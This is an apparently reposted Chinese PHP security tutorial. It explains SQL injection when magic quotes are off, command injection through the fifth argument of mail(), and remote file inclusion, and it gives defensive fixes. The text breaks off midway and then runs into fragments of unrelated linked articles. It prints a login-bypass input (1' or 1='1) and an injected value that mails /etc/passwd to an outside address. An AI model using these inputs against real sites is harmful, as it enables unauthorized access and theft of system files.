PHP网站开发过程中注意这些安全知识
1、古老的欺骗SQL语句
在默认模式下，即使是你忘了把php.ini拷到/usr/local/lib/php.ini下，php还是打开magic_quotes_gpc=on。
这样所有从GET/POST/Cookie来的变量的单引号(')、双引号(")、反斜杠backslash(\)以及空字元NUL
(the null byte)都会被加上反斜杠，以使数据库能够正确查询。
但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized，这个优化的php.ini却是
magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到
/usr/local/lib/php.ini，这时就比较危险。象比较简单的验证，假设没有过滤必要的字符：
select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'
我们就可以在用户框和密码框输入1‘ or 1='1通过验证了。这是非常古董的方法了，这个语句会
替换成这样：
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因为or 1='1'成立，所以通过了。
解决的办法最好就是过滤所有不必要的字符，还有就是推荐对于从GET/POST/Cookie来的并且用在SQL
中的变量加一个自定义的函数：
function gpc2sql($str) {
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。
2、mail函数的第五个参数
在php-4.0.5的时候，mail函数引入了第五个参数，用来设置在实际发送邮件的时候增加额外的命令行参数，但是没有很好的检查特殊SHELL命令字符，所以出现执行命令的大问题。就像手册里的例子：
mail("nobody@aol.com", "the subject", $message, "from: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");
这个是存在问题的，如果$SERVER_NAME=;mail webjx@webjx.com < /etc/passwd就能把机器的密码发送到我的信箱了。
这里提醒一下，php手册里还有好几个例子存在安全问题的，大家实际使用的时候不要照搬，它只是演示函数的基本功能，理解了就可以了。
对于mail函数的这个问题，最简单的我们就不用这个第五个参数，要使用就过滤非法的字符如(;)，还有就是修改php源码包的程序ext/standard/mail.c，在if (extra_cmd != NULL) { 前增加如下一行：
extra_cmd=NULL
然后重新编译。
3、UNIX版的require, include函数
win版本的require和include函数是不支持HTTP和FTP远程文件包含的，而UNIX版本默认都是支持
相关文档：
<?
//http://www.jb51.net
class upLoad{
public $length; //限定文件大小
public $file; //判断此类是用于图片上传还是文件上传
public $fileName; //文件名
public $fileTemp; //上传临时文件
public $fileSize; //上传文件大小
public $error; //上传文件是否有错,php4没有
public $fileType; //上 ......
现在还有很多人搞不懂PHP和JAVA开发的协同OA到底有什么不同，对自己到底有什么影响，以至于做出了错误的选择而贻害无穷。笔者根据两种技术的特点重新整理了一个对比，给关心协同OA技术的读者做个参考。
华天动力协同OA是采用JAVA技术的典型代表，并具有一系列优化� ......
3DES（即Triple DES）是DES向AES过渡的对称性加密算法，它使用3条64位的密钥对数据进行三次加密。是DES的一个更安全的变形。它以DES为基本模块，通过组合分组方法设计出分组加密算法。比起最初的DES，3DES更为安全。
PHP利用扩展库Mcrypt来实现DES加密，这种加密的好处主要是不同的语言平台数据可以进行交互加密传输，防止 ......
所需软件（注意版本！）：
Apache2.2.3
PHP5.1.5
MySQL5.0.24
这三个软件都是免费的，可从官网上下载，目前我所有的软件名为：
apache_2.2.3-win32-x86-no_ssl.msi
mysql-5.0.24-win32.zip
php-5.1.5-Win32.zip
基于windows操作系统，在Windows XP下安装使用：
1、安装过程：
首先安装Apache服务器，双击apa ......
Php注入攻击是现今最流行的攻击方式，依靠它强大的灵活性吸引了广大黑迷。
在上一期的《php安全与注射专题》中林.linx主要讲述了php程序的各种漏洞，也讲到了php＋mysql注入的问题，可是讲的注入的问题比较少，让我们感觉没有尽兴是吧.
OK,这一期我将给大家伙仔仔细细的吹一吹php＋mysql注入，一定让你满载而归哦 ......
